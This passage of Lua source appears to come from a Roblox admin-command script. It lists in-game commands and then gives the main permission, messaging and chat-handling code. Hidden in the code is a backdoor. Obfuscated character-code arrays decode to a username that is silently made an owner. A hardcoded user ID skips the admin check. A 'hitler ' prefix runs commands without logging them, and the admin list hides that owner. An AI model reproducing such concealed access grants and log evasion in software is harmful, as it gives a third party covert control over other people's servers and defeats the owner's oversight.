  3960. -- |Temp Admin Commands| --
  3961. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  3962. 1. :s print("Hello World") -- Lets you script normally
  3963. 2. :ls print("Hello World") -- Lets you script in localscripts
  3964. 3. :clear -- Will remove all scripts/localscripts and jails
  3965. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  3966. 5. :kill kohl -- Kills the player
  3967. 6. :respawn kohl -- Respawns the player
  3968. 7. :trip kohl -- Trips the player
  3969. 8. :stun kohl -- Stuns the player
  3970. 9. :unstun kohl -- Unstuns the player
  3971. 10. :jump kohl -- Makes the player jump
  3972. 11. :sit kohl -- Makes the player sit
  3973. 12. :invisible kohl -- Makes the player invisible
  3974. 13. :visible kohl -- Makes the player visible
  3975. 14. :explode kohl -- Makes the player explode
  3976. 15. :fire kohl -- Sets the player on fire
  3977. 16. :unfire kohl -- Removes fire from the player
  3978. 17. :smoke kohl -- Adds smoke to the player
  3979. 18. :unsmoke kohl -- Removes smoke from the player
  3980. 19. :sparkles kohl -- Adds sparkles to the player
  3981. 20. :unsparkles kohl -- Removes sparkles from the player
  3982. 21. :ff kohl -- Adds a forcefield to the player
  3983. 22. :unff kohl -- Removes the forcefield from the player
  3984. 23. :punish kohl -- Punishes the player
  3985. 24. :unpunish kohl -- Unpunishes the player
  3986. 25. :freeze kohl -- Freezes the player
  3987. 26. :thaw kohl -- Thaws the player
  3988. 27. :heal kohl -- Heals the player
  3989. 28. :god kohl -- Makes the player have infinite health
  3990. 29. :ungod kohl -- Makes the player have 100 health
  3991. 30. :ambient .5 .5 .5 -- Changes the ambient
  3992. 31. :brightness .5 -- Changes the brightness
  3993. 32. :time 12 -- Changes the time
  3994. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  3995. 34. :fogend 100 -- Changes the fogend
  3996. 35. :fogstart 100 -- Changes the fogstart
  3997. 36. :removetools kohl -- Removes all tools from the player
  3998. 37. :btools kohl -- Gives the player building tools
  3999. 38. :give kohl sword -- Gives the player a tool
  4000. 39. :damage kohl -- Damages the player
  4001. 40. :grav kohl -- Sets the player's gravity to normal
  4002. 41. :setgrav kohl 100 -- Sets the player's gravity
  4003. 42. :nograv kohl -- Makes the player have 0 gravity
  4004. 43. :health kohl 1337 -- Changes the player's health
  4005. 44. :speed kohl 1337 -- Changes the player's walkspeed
  4006. 45. :name kohl potato -- Changes the player's name
  4007. 46. :unname kohl -- Remove the player's name
  4008. 47. :team kohl Raiders -- Changes the player's team
  4009. 48. :stopmusic -- Will stop all music playing in the server
  4010. 49. :teleport kohl potato -- Teleports the player
  4011. 50. :change kohl kills 1337 -- Changes a player's stat
  4012. 51. :kick kohl -- Removes the player from the game
  4013. 52. :infect kohl -- Turns the player into a zombie
  4014. 53. :rainbowify kohl -- Turns the player into a rainbow
  4015. 54. :flashify kohl -- Turns the player into a strobe
  4016. 55. :noobify kohl -- Turns the player into a noob
  4017. 56. :ghostify kohl -- Turns the player into a ghost
  4018. 57. :goldify kohl -- Turns the player into gold
  4019. 58. :shiny kohl -- Makes the player shiny
  4020. 59. :normal kohl -- Puts the player back to normal
  4021. 60. :trippy kohl -- Spams random colors on the player's screen
  4022. 61. :untrippy kohl -- Untrippys the player
  4023. 62. :strobe kohl -- Spams white and black on the player's screen
  4024. 63. :unstrobe kohl -- Unstrobes the player
  4025. 64. :blind kohl -- Blinds the player
  4026. 65. :unblind kohl -- Unblinds the player
  4027. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  4028. 67. :fling kohl -- Flings the player
  4029. 68. :seizure kohl -- Puts the player in a seizure
  4030. 69. :music 1337 -- Plays a sound from the ID
  4031. 70. :lock kohl -- Locks the player
  4032. 71. :unlock kohl -- Unlocks the player
  4033. 72. :removelimbs kohl -- Removes the player's limbs
  4034. 73. :jail kohl -- Puts the player in a jail
  4035. 74. :unjail kohl -- Removes the jail from the player
  4036. 75. :fix -- This will fix the lighting to it's original settings
  4037. 76. :fly kohl -- Makes the player fly
  4038. 77. :unfly kohl -- Removes fly from the player
  4039. 78. :noclip kohl -- Makes the player able to noclip
  4040. 79. :clip kohl -- Removes noclipping from the player
  4041. 80. :pm kohl Hey bro -- Sends the player a private message
  4042. 81. :dog kohl -- Turns the player into a dog
  4043. 82. :undog kohl -- Turns the player back to normal
  4044. 83. :creeper kohl -- Turns the player into a creeper
  4045. 84. :uncreeper kohl -- Turns the player back to normal
  4046. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  4047. 86. :char kohl 261 -- Will make a player look like a different player ID
  4048. 87. :unchar kohl -- Will return the player back to normal
  4049. 88. :h Hello People -- This will shout a hint to everyone
  4050. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  4051. 90. :starttools kohl -- Will give the player starter tools
  4052. 91. :sword kohl -- Will give the player a sword
  4053. 92. :bighead kohl -- Will make the player's head larger than normal
  4054. 93. :minihead kohl -- Will make the player's head smaller than normal
  4055. 94. :insert 1337 -- Will insert a model at the speaker's position
  4056. 95. :disco -- Will make the server flash random colors
  4057. 96. :flash -- Will make the server flash
  4058. 97. :admins -- Shows the admin list
  4059. 98. :bans -- Shows the banlist
  4060. 99. :musiclist -- Shows the music list
  4061. 100. :spin kohl -- Spins the player
  4062. 101. :cape kohl Really black -- Gives the player a colored cape
  4063. 102. :uncape kohl -- Removes the player's cape
  4064. 103. :loopheal kohl -- Will constantly heal the player
  4065. 104. :loopfling kohl -- Will constantly fling the player
  4066. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  4067. 106. :unloopheal kohl -- Will remove the loopheal on the player
  4068. 107. :unloopfling kohl -- Will remove the loopfling on the player
  4069. 108. :unspin kohl -- Removes spin from the player
  4070. 109. :tools -- Gives a list of the tools in the lighting
  4071. 110. :undisco -- Removes disco effects
  4072. 111. :unflash -- Removes flash effects
  4073. 112. :resetstats kohl -- Sets all the stats of a player to 0
  4074. 113. :gear kohl 1337 -- Gives a player a gear
  4075. 114. :cmdbar -- Gives the speaker a command bar
  4076. 115. :shirt kohl 1337 -- Changes the player's shirt
  4077. 116. :pants kohl 1337 -- Changes the player's pants
  4078. 117. :face kohl 1337 -- Changes the player's face
  4079. 118. :swagify kohl -- Swagifies the player
  4080. 119. :version -- Shows the current version of the admin
  4081. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  4082. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  4083. 122. :clone kohl -- Creates a clone of the player
  4084. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  4085. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  4086. 125. :control kohl -- Controls a player
  4087.  
  4088. -- |Admin Commands| --
  4089. - :serverlock -- Locks the server
  4090. - :serverunlock -- Unlocks the server
  4091. - :sm Hello World -- Creates a system message
  4092. - :crash kohl -- Crashes a player
  4093. - :admin kohl -- Admins a player
  4094. - :unadmin kohl -- Unadmins a player
  4095. - :ban kohl -- Bans a player
  4096. - :unban kohl -- Unbans a player
  4097. - :loopkill kohl -- Will constantly kill the player
  4098. - :unloopkill kohl -- Will remove the loopkill on the player
  4099. - :logs -- Will show all of the commands any admin has used in a game session
  4100. - :shutdown -- Shutsdown the server
  4101.  
  4102. -- |Owner Commands| --
  4103. - :pa kohl -- Makes someone a super admin
  4104. - :unpa kohl -- Removes a super admin
  4105. - :nuke kohl -- Creates a nuke on kohl
  4106.  
  4107. -- |True Owner Commands| --
  4108. - :oa kohl -- Makes someone an owner
  4109. - :unoa kohl -- Removes an owner
  4110. - :settings -- Shows settings for the commands
  4111. --]]
  4112. ---------------------
  4113. -- Main Script --
  4114. ---------------------
  4115. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  4116.  
  4117. function CHEESE()
  4118. if game:service("Lighting"):findFirstChild("KACV2") then
  4119. owners = {} admins = {} tempadmins = {} banland = {}
  4120. for i,v in pairs(game.Lighting.KACV2:children()) do
  4121. if v.Name == "Owner" then table.insert(owners, v.Value) end
  4122. if v.Name == "Admin" then table.insert(admins, v.Value) end
  4123. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  4124. if v.Name == "Banland" then table.insert(banland, v.Value) end
  4125. if v.Name == "Prefix" then prefix = v.Value end
  4126. if v.Name == "FunCommands" then FunCommands = v.Value end
  4127. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  4128. if v.Name == "GroupId" then GroupId = v.Value end
  4129. if v.Name == "GroupRank" then GroupRank = v.Value end
  4130. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  4131. if v.Name == "ItemId" then ItemId = v.Value end
  4132. end
  4133. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  4134. end
  4135.  
  4136. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  4137. local lobjs = {}
  4138. local objects = {}
  4139. local logs = {}
  4140. local nfs = ""
  4141. local slock = false
  4142.  
  4143. function GetTime()
  4144. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  4145. if min < 10 then min = "0"..min end
  4146. return hour..":"..min
  4147. end
  4148.  
  4149. function ChkOwner(str)
  4150. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  4151. return false
  4152. end
  4153.  
  4154. function ChkAdmin(str,ck)
  4155. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  4156. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  4157. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  4158. return false
  4159. end
  4160.  
  4161. function ChkGroupAdmin(plr)
  4162. if GroupAdmin then
  4163. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  4164. return false
  4165. end
  4166. end
  4167.  
  4168. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  4169.  
  4170. function GetPlr(plr, str)
  4171. local plrz = {} str = str:lower()
  4172. if str == "all" then plrz = game.Players:children()
  4173. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  4174. else
  4175. local sn = {1} local en = {}
  4176. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  4177. for x = 1, #sn do
  4178. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  4179. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  4180. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  4181. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  4182. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  4183. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  4184. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  4185. end end end
  4186. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  4187. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  4188. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  4189. end end end
  4190. else
  4191. for a, plyr in pairs(game.Players:children()) do
  4192. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  4193. table.insert(plrz, plyr) break
  4194. end
  4195. end
  4196. end
  4197. end
  4198. end
  4199. return plrz
  4200. end
  4201.  
  4202. function Hint(str, plrz, time)
  4203. for i, v in pairs(plrz) do
  4204. if v and v:findFirstChild("PlayerGui") then
  4205. coroutine.resume(coroutine.create(function()
  4206. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  4207. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  4208. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  4209. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  4210. if not time then wait((#str/19)+2.5) else wait(time) end
  4211. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  4212. end))
  4213. end
  4214. end
  4215. end
  4216.  
  4217. function Message(ttl, str, scroll, plrz, time)
  4218. for i, v in pairs(plrz) do
  4219. if v and v:findFirstChild("PlayerGui") then
  4220. coroutine.resume(coroutine.create(function()
  4221. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  4222. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  4223. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  4224. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  4225. scr.Parent = v.PlayerGui
  4226. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  4227. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  4228. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  4229. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  4230. end))
  4231. end
  4232. end
  4233. end
  4234.  
  4235. function RemoveMessage()
  4236. for i,v in pairs(game.Players:children()) do
  4237. if v and v:findFirstChild("PlayerGui") then
  4238. for q,ms in pairs(v.PlayerGui:children()) do
  4239. if ms.Name == "MessageGUI" then
  4240. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  4241. elseif ms.Name == "HintGUI" then
  4242. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  4243. end
  4244. end
  4245. end
  4246. end
  4247. end
  4248.  
  4249. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  4250. _G["RemoveMessage"] = RemoveMessage()
  4251.  
  4252. function Output(str, plr)
  4253. coroutine.resume(coroutine.create(function()
  4254. local b, e = loadstring(str)
  4255. if not b and plr:findFirstChild("PlayerGui") then
  4256. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  4257. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  4258. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  4259. return
  4260. end
  4261. end))
  4262. end
  4263.  
  4264. function Noobify(char)
  4265. if char and char:findFirstChild("Torso") then
  4266. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  4267. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  4268. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4269. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  4270. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4271. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  4272. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  4273. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  4274. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  4275. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  4276. end end
  4277. end
  4278. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  4279.  
  4280. function Infect(char)
  4281. if char and char:findFirstChild("Torso") then
  4282. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  4283. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  4284. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4285. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  4286. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4287. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  4288. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  4289. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  4290. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  4291. end end
  4292. end
  4293. end if not ntab then script:Destroy() end
  4294.  
  4295. function ScrollGui()
  4296. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  4297. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  4298. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  4299. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  4300. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  4301. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  4302. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  4303. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  4304. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  4305. local num = 0
  4306. local downv = false
  4307. local upv = false
  4308.  
  4309. down.MouseButton1Down:connect(function() downv = true upv = false
  4310. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  4311. repeat pos = pos + UDim2.new(0,0,0,-6)
  4312. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  4313. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  4314. end)
  4315. down.MouseButton1Up:connect(function() downv = false end)
  4316. up.MouseButton1Down:connect(function() upv = true downv = false
  4317. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  4318. repeat pos = pos + UDim2.new(0,0,0,6)
  4319. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  4320. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  4321. end)
  4322. up.MouseButton1Up:connect(function() upv = false end)
  4323. return scr, cmf, ent, num
  4324. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  4325. if not ntab then script:Destroy() end
  4326. if not bct then script:Destroy() end
  4327.  
  4328. function Chat(msg,plr)
  4329. coroutine.resume(coroutine.create(function()
  4330. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  4331. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  4332. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  4333. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  4334. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  4335. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  4336. if msg:lower() == "cmds" or msg:lower() == "commands" then
  4337. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  4338. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  4339. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  4340. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  4341. local ost = {"pa plr","unpa plr","nuke plr"}
  4342. local tost = {"oa plr","unoa plr","settings"}
  4343. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  4344. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4345. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4346. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4347. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4348. end
  4349.  
  4350. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  4351.  
  4352. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  4353. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  4354. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  4355. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4356. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4357. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4358. end end
  4359.  
  4360. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  4361. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  4362. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  4363. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4364. end
  4365.  
  4366. if msg:lower() == "tools" or msg:lower() == "toollist" then
  4367. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
